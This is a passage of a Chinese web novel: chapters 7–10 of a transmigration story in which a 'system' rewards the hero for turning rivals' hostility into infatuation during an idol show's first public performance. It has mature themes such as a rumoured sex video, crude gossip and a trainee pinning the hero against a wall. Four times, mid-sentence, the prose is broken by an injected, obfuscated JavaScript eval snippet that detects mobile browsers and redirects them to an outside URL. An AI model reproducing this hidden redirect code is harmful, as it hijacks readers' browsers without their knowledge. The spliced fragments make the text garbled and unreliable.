宋樑沉默,半晌,他掏出手机,解锁屏幕,迅速打开了那个视频给格桑看。
格桑只瞥了一眼就确认了那是什么。
看似清纯柔弱不谙世事的青年忽然笑起来。
宋樑一愣,举着手机的手僵住,任由那不堪入目的视频一再地循环,重复。
他很确信他在叶格桑的眼中捕捉到了一丝玩味和……鄙夷?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093464|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“宋樑老师斯文儒雅刚正不阿,看了个出处不明的视频就忙不迭找我对质来了。不过这种东西……您把它存私密相册做什么?是想起来了就要拿出来复盘一下,然后唾弃我一番么?”
“……”
宋樑自己其实也不知道自己那会为什么会鬼使神差地把这个视频存起来,还小心翼翼放进了私密相册。
以至于他现在有了一种仿佛见不得人的心思被当事人戳破的尴尬。
尽管规矩淡漠如他,还没意识到自己对叶格桑到底怀有什么见不得人的心思。
“咔哒”一声。
怀里的叶格桑趁他不备,滑不留手地探手解开了洗手间的门锁,门扉大开,宋樑不好再拘着叶格桑——万一被狗仔拍到,他们可能就成了下一个小视频主角了。
“……领带很好看。”
叶格桑像小蛇一样滑出去之前,弯眼笑着说道。
宋樑觉得那笑容,那句话,像在他心口上崩了一枪。
他再也无心深究那个小视频到底是怎么回事。
只能听到心脏,砰咚,砰咚地跳动。
血液逆流。
……
【主角阵营四号宋樑雄竞值:-20】
居然一下减了20这么多。
这要换在前三个世界,他怎么也得托马斯回旋式地给主角团拉个惊天大磨啊。
格桑重新窝进商务舱舒服的座椅里,一边掏出药油擦自己最近命途多舛的腰,一边想着。
系统冒出来恭喜他,让他再接再厉,并且感慨:【这个世界也太幸运了吧,看来这个世界的主角团都是大好人呢,对吧宿主?】
格桑停下了擦药油的手。
【大好人?】格桑的语气有些怪异。
【嗯?是有哪里不对吗?】
格桑闷头嗤笑了一下:【他算哪门子大好人,我现在总算是知道他的雄竞值为什么会忽然下降了。】
【诶?为什么?】
【因为他看上我了。】
格桑淡定地扔出了一句让保(愚)守(蠢)的系统大受震撼的话,又继续认真擦药油了。
对于那样的眼神那样的举动,他太熟悉了。
曾经在帝国的时候,无数人向他这个皇储表达过或隐晦或疯狂的爱慕……他们都有着跟宋樑一样、充满了对他的欲望和索求的眼神。
如果说最开始,格桑还不能确定,但在刚刚看见那个如同最泥泞不堪的心思一般被宋樑藏在私密相册里的视频后,他就几乎100%确定了。
格桑懒洋洋靠在沙发里闭目养神,他听见宋樑的脚步声也从洗手间折返回来了。
他并未睁眼,听见那脚步声在经过自己的座位时短暂地顿了一瞬,然后又若无其事般继续向前走了。
但格桑还是在那片刻的停顿中,听出了一瞬间的迟疑和慌乱。
格桑脑海中登时浮现出了无数曾经前赴后继,只求分得他一丝目光的男人们。
……原来这样也能降雄竞值啊。
也对,当成为对方的爱慕对象后,对方自然不会再将他视作雄竞对手……
倒是意外发现了个邪门的上分方法呢。
8. 第八章
卫烽一大早爬起来,趁着其他人还没起床,把床头装了一堆用过的纸巾的垃圾袋系得严严实实,穿过半截走廊,扔到了别的宿舍门口的垃圾桶里。
然后折返,进浴室冲了个冷水澡。
冰凉的水从花洒里喷洒出来,顺着他的下颌、脖颈、肩膀……冲刷过全身,才勉强压下那股邪火。
今天是公演的日子,他也顾不上这样会不会感冒了。
旁边的淋浴间同样水声哗哗,不知道是谁跟他一样早上五点跑来冲澡,不过卫烽并没有多么旺盛的好奇心,他耐心等到旁边的人淋浴完离开,过了一会儿才拧上水龙头,推门出了淋浴间。
他不想让人知道自己大清早起来冲冷水澡,因此刻意放慢了动作,慢吞吞往外走,确定对方已经离开更衣室才出去。
正站在储物柜前擦头发,身后传来急匆匆的脚步声,没想到刚才那人去而复返,两人尴尬地撞了个脸对脸。
……居然是商承佑。
卫烽停下了动作,头上盖着毛巾,面无表情地看着面前这个看上去比他还慌张的同期生,商承佑那张向来游刃有余、温和有礼的脸上写满了尴尬。
这位人气练习生身上的衣服跟头发都是半湿的,一看就洗澡擦身都进行得很仓促。
两个大男人,一早起床冲个澡,正常来说不是什么见不得人的事,也不知道商承佑为什么一脸仿佛被抓奸般的局促不自然。
卫烽作为那个同样心虚的人,几乎是立刻就猜到了缘由。
他不甚友善地扯扯嘴角:“怎么,商承佑学员,昨晚上没睡好?”
商承佑目光躲闪,转头从旁边柜子里迅速掏了个东西出来。
原来是把手机落储物柜里了,难怪又急匆匆折返回来。
但商承佑大约是太过慌张,不小心把手机解锁了,卫烽的眼角余光立马瞥到了他屏幕上忽然播放起来的视频,尽管那视频只播了不到一秒就被商承佑眼疾手快地掐断了。
商承佑闪电般将手机塞进了裤子口袋里。
他囫囵应道:“啊……热醒了,冲个凉。回见。”说完就转身大步往外走。
卫烽从此人的背影里甚至读出了落荒而逃的意味。
他扬起的嘴角缓缓落下,内心既有一丝畅快,但更多的是不爽跟厌恶。
爽,是觉得:看吧,大家都一样,看到这种视频都是会鸡动的,不是我的问题。
不爽……大约是……
——凭什么这货也能看?
他也会对着叶格桑的小视频撸么?
一想到这里,卫烽就觉得全身如同爬了蛆虫一样难受。
就像看见晨间的新雪被沾了泥的脚印玷污,就像自己一页都还没翻开的精装书,被人偷偷拿走翻看,还沾上了恶心的油渍。
……就他?
配么。
卫烽一脚蹬进球鞋,俯身,狠狠拉紧鞋带。
.
格桑的飞机落了地后马不停蹄地就来了节目录制现场,他没提前参加联排,就简单在公演前走了个场,对着台本,知道待会儿公演的整个流程就行。
走场的时候,他能感觉到周围无数灼灼的目光盯着自己。
尤以主角卫烽的视线,最为灼热滚烫,仿佛要把他后背的衣服盯出一个洞来。
格桑完全无视了这些热烫的目光。
现在私家侦探还没调查完,没有决定性的证据,他就得装傻,当那个视频不存在。
尽管他很清楚,在座的很多人,恐怕都已经看过那个所谓的他本人的小视频了。
不重要。
格桑在一众灼烫的目光盯视下分外淡定地上台、走位,按照台本上的大致内容模拟着届时的导师发言,自然地谈笑风生。
完整走完一整个流程,助理给格桑递水递药,边给他披外套,边感叹道:“老师,我真是佩服你的心理素质。”
格桑嗑糖丸一般哗啦啦往嘴里倒了一堆白色小药丸,就着温水吞服下去,含糊道:“我以前也不这样,都是练出来的。”
助理虚心求教:“老师怎么练的?”
“在刀山火海里走过一遭——物理意义上的,以后自然就不会再把自己这张脸皮看得多重要了。”
“……刀山火海?”助理傻眼,一贯干练麻利的手脚都慢了下来。
他很想说叶格桑老师您这冷气开低了一度就喊冻得头痛,药苦一点就非得吃糖压惊,身上蹭了块油皮就疼得眉头紧皱的大小姐脾气,到底是在哪座刀山哪片火海练出来的,他还真挺好奇……
当然,这种大逆不道的话,是给助理一百个胆子他也不敢真说出口的。
·
下午六点半开始,观众陆续来到演播厅落座,所有要表演的练习生也都已经做好了妆造,他们中的绝大部分从没有在如此多的观众面前表演过,又是紧张又是激动,在后台坐立难安。
卫烽倒是一点儿不紧张,他昨晚就迷迷糊糊眯了两三个小时,这会儿困意上涌,顶着舞台妆,四仰八叉地躺在化妆间的沙发椅上打盹。
外面观众的尖叫和欢呼声一浪一浪飘进后台。
几乎全都在声嘶力竭地呼喊一个人的名字。
“叶格桑——叶格桑——叶格桑——!”
这是他们这群练习生第一次直面观众,节目还没正式播出,除了以商承佑为首的几名人气学员有一些粉丝外,其他人没有任何人气基础,自然买票前来应援的都是导师的粉丝了。
叶格桑虽是黑红,也担得上顶流二字。
“呵,还好叶格桑的那个小视频只是在圈内传播,没传到圈外。也不知道这些小粉丝要是看到他们哥哥被男人操得腿软,会是什么心情哈?”
化妆间里,不知是谁幸灾乐祸地讥讽道。
他这句话让化妆间陷入诡异的沉默中,没多久张恺打破了沉默:“别介,他毕竟是咱们的导师,留点口德。”
张恺说着飞快觑了一眼旁边卫烽的脸色,“是吧,烽哥?”
他最近在屡次嘴快吃瘪后已经逐渐发现了,卫烽好像不大喜欢他们背后蛐蛐叶格桑。
卫烽没真睡着,但也没睁眼:“跟我有屁关系。”
张恺奇道:“我以为你对叶格桑改观了呢,这几天都不让人说他不好。”
卫烽翻了个身,含糊道:“什么这几天那几天的,我一直这样——跟叶格桑没关系,一群大老爷们,天天碎嘴子,我不爱听。”
“哦,是,是。”张恺摸了摸鼻子,也没多想,“咱烽哥是有大格局的。”
卫烽继续闭目养神,没再吭声。
化妆间里的空调打得很冷,但卫烽听着外面粉丝的呼喊,燥得很。
只要事关叶格桑,好似全身的敏感神经就都被调起来了,他不自觉地关注所有跟小导师有关的信息——哪怕只是别人不经意提起的一句话。
可明面上却还要装作毫不在意,举重若轻地丢一句:“关我屁事。”
卫烽,你他妈有神经病。
青年在内心狠狠地唾骂了自己一句。
到开场的时间了,前台主持人跟导师先上台,在场下粉丝又一波爆破性尖叫后,后台的电视屏幕里很快出现了叶格桑的脸。
营业状态的叶格桑游刃有余,接主持人的梗,帮着cue流程,引导其他导师对话,信手拈来,卫烽的目光不由自主紧紧黏在那张美丽的脸上,难以自制地将这张堪称清丽的脸蛋跟那个糟糕的视频联系在一起。
喉结滚动,一瞬间脑子里闪过无数不堪入目的想法。
.
格桑坐在导师席上,自从那个小视频横空出世,这些导师同事也愈发对他敬而远之,明显是生怕自己被牵连。
唯独宋樑,这人就坐在他旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093465|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边,明明最开始的时候连一眼都不多看他,现在却逮到机会就跟他搭话。
两人都是久经沙场的成年人了,今早飞机上的小插曲,都默契地装失忆。
镜头没照到的时候,宋樑给格桑塞了包高档坚果。
“你身体不好,这一录又不知道录到什么时候,恐怕没法按点吃饭,坚果是油脂,吃点儿补充体力。”
格桑其实非常挑食。
太硬的不吃,太辣的不吃,太干的不吃,不新鲜的不吃,有腥味的不吃,浓油赤酱的不吃……
坚果他就不爱吃,他嫌嚼得腮帮子累。
他好不容易进化到食物链顶端,不是为了跟松鼠抢食吃的。
但他还是抬头,对这位斯文儒雅的音乐人嫣然一笑:“谢谢,你怎么知道我爱吃这个?宋老师果然像传闻里一样细心。”
说罢格桑笑着接过了那包以往他看都不会多看一眼的坚果零食包,手指尖还有意无意地碰了一下宋樑的手背。
一触及分。
宋樑面上只是点点头,说了句不客气。
却在点评第一组练习生的表演时,叫岔了半数组员的名字。
【主角阵营四号宋樑雄竞值:-25】
格桑微笑看着台上,连一缕余光都没有分给宋樑,手上在坚果包装袋里挑挑拣拣,颇为不情愿地拎出一颗葡萄干,放进嘴里,慢吞吞地咀嚼。
难吃。
但是,他心情很愉悦。
系统显示宋樑的雄竞值已然清零,这证明他的破局之法果然是对的。
纵然是歪门邪道又如何,只要行之有效,就是好办法——这可比伏低做小当狗腿来得容易多了,也让他舒适多了。
不过宋樑毕竟只是主角阵营四号,即便把他的雄竞值清零了,也没办法在保证剧情爽度跟世界线稳定不崩的情况下自己存活,要想完成任务,最关键的还是男主卫烽。
以及目前还没遇上的主角团二号……
聚光灯笼罩在半圆型的舞台上,下一组选手即将出场,台下是粉丝的山呼海啸,换队伍的空隙间,粉丝们又狂热呼喊起了格桑的名字。
系统冒出来提醒:【本书的主角团二号,是男主卫烽的小叔卫珩,今年30岁,但已经是卫氏集团的实际掌权人。原本卫家的继承人应该是卫烽的,但大少爷毕竟是娱乐圈文男主,自然无心家业,一心逐梦演艺圈,倒是卫珩,很有手腕跟经商才能,在原书中,他负责接掌家业,而卫烽则在大文娱行业闯出一片天,掌握诸多资源,帮助卫氏把版图扩向娱乐业,二人联手,让卫氏集团滚雪球一般壮大,最终成为全球首屈一指的商业帝国。】
系统感慨:【这,就是男频爽文的精髓啊,主打一个应爽尽爽。】
【宿主,还请你再接再厉,继续努力降低主角团核心角色的雄竞值,增加爽度哦。】
【嗯。】格桑敷衍地点了一下头,搞定宋樑虽然让他提升了一点信心,不像之前那样纯摆烂了,但这种歪门邪道恐怕也没法复刻,现在姑且走一步看一步吧。
格桑随手放下那包只吃了一口的坚果,两组新的队伍已经来到台上。
公演的规则是捉对battle,最后按粉丝投票定输赢,原著里一公恰好是主角卫烽所在的队伍对上了人气学员商承佑的队伍,最终卫烽因初始人气低输了,但节目播出后他的舞台高光出色,帮他吸了一大波粉,也让卫烽商承佑两人不打不相识,自此惺惺相惜。
格桑无聊地托着腮帮看他们两支队伍分别在台前站好,本以为卫烽跟商承佑两位队长会像其他队伍一样有些交流,没想到两人擦肩而过,彼此都没有看对方一眼。
尤其是卫烽,高抬下巴,嘴唇抿成了一条锋利的直线。
反倒是在台前站定后,两人合计四道滚烫又直白的视线…………
——都莫名直直冲着自己而来。
9. 第九章
商承佑上场的时候,台下粉丝终于不再是一边倒地喊格桑的名字,属于商承佑的蓝色应援灯牌亮起,有不少粉丝高举着灯牌为他应援。
这样的人气下,作为对手方,照理说卫烽应该是很尴尬的,但卫烽仿佛什么也没听见,只直勾勾地盯着导师席上的格桑。
商承佑本人往常很有豆德,现在不知为何竟也没有回应粉丝的应援,甚至没看向台下,两位队长的眼睛都黏在导师席上。
主持人cue流程让他们自我介绍,连着说了两遍,商承佑才如梦初醒,接过话筒。
“怎么,是第一次面对咱们这么多现场观众,紧张了吗?”
主持人笑着缓和气氛,“没关系,只要拿出自己最好的状态就好——来,两位队长别这么冷漠嘛,来碰个拳,你们有什么话要对对方说的吗?”
话筒先递给了卫烽,他眼睛都不眨:“没有。”
主持人噎了一下,原本这都是台本里写好的固定流程,每个队伍都提前准备好了的,也不知道卫烽发什么羊癫疯。
但他还得硬着头皮干笑:“那承佑呢,有没有什么话要对对手说的?”
好在商承佑不是卫烽那种刺儿头,这位人气TOP选手在粉丝的阵阵尖叫声中重新接过话筒。
却在迟疑片刻后,同样说出了偏离台本的话。
“我有话想对叶格桑老师说,可以吗?”
主持人:“……哈哈,当然可以,你说。”
到底是已经训练了好几年有粉丝基础的成熟练习生,商承佑背脊笔直,双手握话筒,无比真挚的姿态。
只是,并非是面对粉丝,而是面对某位业界风评不佳的导师。
“叶老师,我很认真地准备了这次的舞台,一会儿表演的时候,希望你能好好看着我。”
格桑倚靠在导师椅的扶手上,挑眉。
第一次公演是很正式的场合,他今天的造型是精心设计过的:银色带细闪链条秀款小西装,修身长裤将修匀笔直的腿部线条一览无遗,鞋子是带点小高跟的黑漆皮皮鞋,妆容并不浓,但恰到好处地凸显出他清丽的五官和轮廓。
全场的灯光仿佛都会自然而然地追寻着他而来。
也许每一个人对这位黑红顶流都有不同的看法——德不配位也好,专业差劲没有作品也好,资源咖也好,私生活混乱也罢……
但是每一个人又都必须承认,叶格桑是十万中无一的、绝无仅有的美人。
无需千方百计挖掘某一处闪光点,娱乐圈流行的“标签式美法”在他身上不适用,什么大眼美人,骨相美人皮相美人,爱豆脸高级脸,这个系那个系……
没有人会把这些生搬硬造的营销用标签贴在叶格桑的身上,他的美浑然天成,表里一体,从骨到皮,从灵到肉,一挑眉一俯首,一举手一投足,浑然天成。
所有第一次见到叶格桑的人,都无法将视线从他的身上移开。
所以当商承佑说完,导播给叶格桑切特写时,叶老师那张似笑非笑的脸乍然出现在大屏幕上,全场连商承佑粉丝的应援声都不由一滞。
“好的,我一定会认真观看你们的表演的,请你们加油。”
你们。
不是“你”。
商承佑的眼底掠过一丝失落,所幸台上灯光逐渐熄灭,表演要开始了,无人发现。
……
【主角团三号商承佑雄竞值:-10】
【男主卫烽雄竞值转移-对「商承佑」雄竞值:+20】
【男主卫烽与「商承佑」关系降级:相看两厌—势同水火】
格桑听着系统的播报声,若有所思。
也不知故事走向发生了什么改变,原书中本该成为挚友的俩人怎么这就反目了?
他又没有挑拨离间。
格桑没想明白,索性不想。
演播厅的观众席呈现一个大大的U形,导师席就嵌在这个U的中间,地势比观众席高出一截。
场内灯光将明未明之际,格桑的侧下方举上来一支手工制作的白玫瑰花,格桑习惯性想拒绝,低头间却看见递花的是一个初高中年纪的小姑娘。
女孩有点这个年纪普遍的青春期微胖,双目清澈明亮。
她瞧见格桑看自己,似乎又羞怯了,手脚不知道该往哪放,下意识想把自己冒昧的礼物收回去。
谁知那高高在上的美人顶流却弯着眼俯下身,温柔地接过了她的玫瑰花。
“很美,谢谢你。”
……
格桑捧着雪白的玫瑰坐回位置上,将花插在了桌上正中。
这一幕被旁边的宋樑尽收眼底,不苟言笑的大制作人竟看得怔愣。
【主角阵营四号宋樑雄竞值负数,转换计算方式中……】
格桑:?
【3……2…1…SUCCESS!】
【数值转换成功!主角阵营四号宋樑雄竞值已转化为爱慕值,加入序列重新计算中……】
【主角阵营四号宋樑爱慕值:+15】
【主角阵营综合爽度:+1】
这系统的数值计算方式是越来越复杂了。
但是宋樑的数值参考性似乎不高——把配角雄竞值刷到负再转换成爱慕值……也不知道跟当狗腿子刷主角团爽度比,哪个难度更低一点……
台上,商承佑的小队表演得十分卖力,他们这一队表演完,立马又换到他们的对手、也就是卫烽的队伍表演。
同样的卖力——完成度很高的舞蹈、唱的部分也不错,尤其是卫烽,作为队长,他基本从唱到跳都参与度很高,还有个人solo的部分。
格桑知道卫烽不擅长这些,但他这次表演意外地完成得非常出色,甚至……那舞跳得拳拳到肉,有种说不上来的狠劲儿。
……谁得罪男主了?
格桑无语地想。
两队分别表演结束,导师各自名为点评,实则夸夸,格桑在卫烽跟商承佑两人的灼灼注视下毫无压力,照旧说了一堆不痛不痒的囫囵话,不出所料看见卫烽在隐隐咬牙。
哈~
格桑竟有种恶劣的愉快。
前几个世界给男主当狗,现在终于能把男主当狗耍了。
爽。
然后进入观众投票,格桑不用看就知道结果。
平心而论,单看舞台,这次明显是卫烽队更好,但毕竟还是一公,在毫无粉丝基础的情况下,就算跳出花来也是赢不了自带粉丝的商承佑的。
投票结果不出所料,商承佑队大比分领先,卫烽对这个结果倒没什么表示,在主持人对他说场面话时,手插兜冷淡地点点头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093466|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
临下台前,卫烽最后回头深深看了叶格桑一眼。
格桑回以一个不动声色的微笑。
中场休息的时候,格桑嫌场内太闷,想到后台去透透气。
却在走廊上被人高马大的练习生堵了个正着。
这是后台很隐蔽的一个过道,平常几乎不会有人经过,格桑掀开眼皮往后看了一眼就知道,卫烽必然是跟踪他过来的。
别的练习生这会儿都老老实实在后台等候室坐着呢,到底是男主,真是胆大包天。
过道很窄,格桑被卫烽的两条胳膊抵在墙中间,卫烽蹙着眉俯视着他。
格桑笑笑:“有事?”
两人体格差距极大,但毕竟是演播室里,卫烽总不可能对他做什么,他有恃无恐。
卫烽抿着嘴唇半晌没说话,格桑也不催他。
明明是绝对劣势的姿态,面对卫烽,他却远比面对宋樑要从容不迫得多。
“……你就那么喜欢商承佑?”最后,卫烽咬着牙,冷冷问出这么一句。
格桑莫名其妙道:“你从哪看出来的?”
“你夸他很多。”
“……”格桑认真回忆了一下,好像刚刚点评两队各个队员的时候,是单独把商承佑拎出来夸了几句。
但那是因为商承佑是人气TOP,为了顺应粉丝心意,节目效果罢了。
他不由好笑:“你来堵我就为这?”
“你先回答我。”卫烽不依不饶。
看在他是男主的份上,格桑懒得跟这小心眼的人计较,也不想得罪他,于是很官方地:
“没有,我作为总导师,对每一位练习生都一视同仁,有亮点就夸,有做的不到位的地方就批评,有进步就表扬,任何人都一样。”
“那我呢?”卫烽立刻反问道。
高大的男生呼吸变得粗重,双目炯炯俯视着格桑,按在格桑头两侧的大手明显在收紧。
属于另一名男性的荷尔蒙摧枯拉朽般席卷,这种私人空间被毫不顾忌大举侵入的感觉让格桑皱起了眉头。
卫烽紧盯着他:“我哪里不如他?”
如果是从前还在帝国做尊贵的小皇储的格桑,见到这种神经病,他一定会叫人把他扔去荒星上喂食腐虫。
可惜了,现在他不能。
他只能保持属于导师的体面微笑:“你没有哪里不如他,你们都是很优秀的练习生,以后都会有光明的未来的。”
“我不要听官腔。”
卫烽的距离已经凑近到格桑可以感受到他的鼻息。
……滚烫的男性气息。
21岁,姑且也能称得上是男人的年纪了——更何况,以他现在这个身体的年龄来说,似乎卫烽还比他要大上那么几个月。
当然,心理年龄另算。
介于少年和男人之间的年轻人将格桑牢牢抵在墙上,圈在两只手臂的中间,两人身体已经贴近到几乎没有距离,格桑完全被笼罩在对方的阴影之中。
巨大的身高差下,格桑像一只精致的bjd人偶,被牢牢控制住。
卫烽低头,附在格桑的耳边,咬牙切齿地耳语:“你做那事儿的时候……也喜欢他那种类型的?”
格桑:“?”
“那你错了,我比他要猛——一定。”
10. 第十章
本是去后台透气的,最后却透得格桑一脑门气。
一直到坐回前台导师席,他都觉得自己浑身都浸满了卫烽的味道,神经质地凑在衣袖上闻了又闻。
助理见状殷勤地凑过来问怎么了,收获大小姐眯眼凉嗖嗖的:“现在知道问怎么了,有人跟踪尾随我的时候哪去了。”
说罢也不等不明所以的助理反应,格桑干脆地脱了自己那身价值连城的高奢秀款西装外套,引起场下尖叫连连。
衣服,还要穿上一整晚呢。
他讨厌自己闻起来一股别的男人的气味,像被狗圈了地一样。
呵。
卫烽可不就是个狗么。
格桑很气地想。
旁边的宋樑一直默默关注着格桑,见他脱了那件华贵的西服,只剩里面的修身黑色衬衫,垂感一流的高奢衬衫在他身上显得十分禁欲,袖口领口都扣到最顶端。
银色的钻石细链挂在衬衫领下,跟耳钉搭配得相得益彰。
在别的艺人身上会显得用力过猛的天价首饰,珠翠琳琅,放在格桑的身上,也不过是完美拼图小小的一角点缀。
宋樑扶了扶眼镜,掩饰住想扒了小狐狸最后这层皮的直白目光,克制地问:“怎么了,是演播室太闷热了吗?”
格桑应付地:“嗯。”
“我那儿有冰贴,我让助理去拿,你身体刚好,实在不舒服要说,别硬抗。”
成熟男人到底是稍微懂得些克制,不会像某些二十郎当岁横冲直撞的莽夫。
格桑不无怨气地想着,尽管他太清楚宋樑的心思了,但到底这人儒雅了一辈子,懂得掩饰。
飞机上那次的出格……他就姑且当做没发生过。
格桑笑,眼波微荡:“谢谢,宋樑老师真细心,想必以后会是个好伴侣好丈夫。”
如果有“一句话核爆”的话,这句话大约就是。
格桑眼看着宋樑被他这句话炸得耳朵微红,再难维持斯文绅士的表象,听着系统播报的爱慕值飙升消息,心情终于暴雨转晴。
下半场还有六支队伍要表演,开场前化妆师造型师一起过来给格桑补妆弄头发,助理在旁端茶倒水,加上经纪人跟节目组工作人员……小小一个身影被众星捧月般簇拥在中间,无数人为他鞍前马后。
其他导师也在补妆,但属实没人有叶格桑这种待遇。
宋樑另一边同样是爱豆出身的导师皮笑肉不笑道:“家里有钱有势就是命好啊,我们何德何能跟大少爷坐一排哦,应该他坐上面,我们跪下面。”
另一导师附和:“那是,到时候我们也不挡着他视线,舞台上那么多年轻鲜活的□□,某些人可以挑几个一看就猛的,回去一起享受一下,到时候再拍点小视频给我们看——不看白不看不是?”
那两位导师没有刻意压低声音,仿佛就想叫格桑听见似的。
格桑正闭着眼睛让化妆师扑粉,就听见了隔壁开嘲讽,化妆师的手明显一顿。
助理放下杯子,冲上去就要跟那两人吵架,被格桑按了下来。
只见格桑可怜兮兮地蜷在椅子上,手里还拿着他的白色小药盒,抬头看了旁边的宋樑一眼,在两人对上目光的那刻,抿了抿唇:
“哥,我真不是他们说的那样的人,别人也就罢了,希望你能相信我。”
“我信。”宋樑几乎脱口而出。
格桑满眼如释重负,对宋樑露出招牌的柔软笑容:“谢谢你,宋樑哥。”
称呼已经从“宋樑老师”变成了“宋樑哥”。
【主角阵营四号宋樑爱慕值:+25】
格桑觉得他几乎从这个不苟言笑的禁欲男人身上看出了疯狂往外冒的粉色小桃心。
紧接着宋樑便站起身,转身过去,俯视着另一边那两位导师。
不管是论资历还是论咖位,宋樑都是高于那两个导师的,那两人风凉话刚说了两句,被宋樑金丝边眼睛后的眼睛一瞪,顿时都僵硬了,石头一般卡在椅子上,讷讷地:“宋……宋樑老师……”
宋樑抱臂问道:“你们读过演艺类高等院校么?音乐学院,或是戏剧学院?”
那两人显然不知前辈为何有此一问,懵道:“没……”
他们两人一个选秀出身,一开始做爱豆不火,转去演戏,反倒是有了些热度,现在属于“待爆顶流”之一,偶尔在各个晚会上刷个脸唱唱歌,开点小场馆的演唱会,算是个流量;
另一个是歌手,自诩有才,团队也给包装成很有逼格的唱作歌手,其实本质野路子出身,自己只简单给个作曲方向,专辑全靠找厉害的编曲制作人。
但他胜在本身嗓音条件好,音色也特别,所以纵然不是科班出身,发展得倒是不错。
“那就难怪了。”宋樑点头,“踏入演艺行业的第一课,从艺先修德,看来是没有老师教过你们了。”
宋樑不苟言笑,但平时对待后辈比较温和,极少这样严厉训斥,两人一时都被说懵了。
那位“待爆顶流”懵完有点不服气,小声嘟囔:“我们又没说错……而且就算要修德,那也是叶格桑要先修吧……跟人乱搞都被拍下来放网上传得人尽皆知了,恶心。”
“背后说人闲话,是品德有亏;看见什么信什么,是大脑不思考。”宋樑道,“最基本的东西,如果一点都做不到,还是不要坐在这导师席上误人子弟了。”
他这话是相当狠了,以至于周围很多本来没注意这边动向的人都纷纷看过来,那小流量被说得满脸通红,再不敢顶嘴,讷讷低下头去。
而宋樑,一转身面对格桑,就立马换了一副面孔。
刚才那股凛然的气势褪去,他仍是戴着金丝边眼镜穿条纹西装的斯文绅士。
“他们说的话你不要放在心上。还有,我之前……也被误导,情绪上头,做了冒犯你的事,很抱歉。”
格桑露出小白花的笑容,大度地摇头:“没关系的,我知道宋樑哥是关心我。我才要谢谢你帮我解围,不然毕竟大家都是同事,我也不想弄得那么难看。”
【主角阵营四号宋樑爱慕值:+5】
宋樑淡淡道:“有些人不配与你相提并论。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093467|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
虽埋着头但听得一清二楚的另外两人:“…………”
这不对啊……到底什么情况……
宋樑老师之前明明一直跟他们其他两个人交流比较多,大家也都看得出来为人板正的宋樑根本看不上叶格桑,现在这到底是怎么回事???
叶格桑特么是会下蛊么……
几人如同被雷劈中,浑浑噩噩间不明所以间,中场休息时间结束了,主持人重新回到了台上。
这个小插曲就此作罢。
一公进行得很顺利,大部分队伍发挥都不错,各有亮点,格桑靠在导师椅上,心知等届时节目播出后,男主卫烽的人气很快就会逆袭,追上现在的TOP商承佑。
目前除了卫烽跟商承佑两人莫名地关系不好以外,一切都在按着剧本走。
如果没记错的话,今天这场公演结束后,主角阵营二号——也就是这本书里最难搞的卫珩就该出场了。
想到卫珩这个角色,格桑就觉得脑仁有点疼。
但该来的终归还是会来的。
“格桑老师。”
台上主持人正在拍手让粉丝投票,节目导演忽然躬着身子悄悄走到了格桑身后,格桑回头,导演小声说道,“今天咱们节目总赞助商的大BOSS要从A国飞过来,他的专机估计再过两小时左右就落地了,赞助商那边说他们大BOSS想设宴招待一下咱们这边的主创人员跟导师们。”
等节目录制结束都很晚了,还要应酬,导演显然也知道这事儿很难为人,硬着头皮说得吞吞吐吐,“甲方爸爸说这是他们的集团顶头大大大大BOSS,照理来说根本不会过问底下一个节目赞助的事的,但这次特地大老远飞回来,很难得。希望我们这边能给点面子,尽量全员到齐,当然,如果您实在不想去的话……”
“我去。”
“……诶?”导演还在硬着头皮想词儿,没成想格桑干脆地就答应了,反倒叫她反应不过来了,“真的?您身体刚好,真的可以吗?”
“嗯,我没什么事了。”格桑亲和地笑笑,“而且对于你们来说,这种局很重要吧,如果我不去,让他们BOSS丢面子了也确实不好。”
这个节目的导演团队是业内很成熟的团队了,经常操刀办各种综艺节目,但越是这样的团队,人脉越重要。
得罪了商界大佬,以后办节目拉不到投资,节目就办不下去,恶性循环。
得到了确定的答复,导演欣喜若狂,回去的脚步都是轻盈的,而格桑则长叹一口气,烦躁地揉了揉眉心。
去,当然得去。
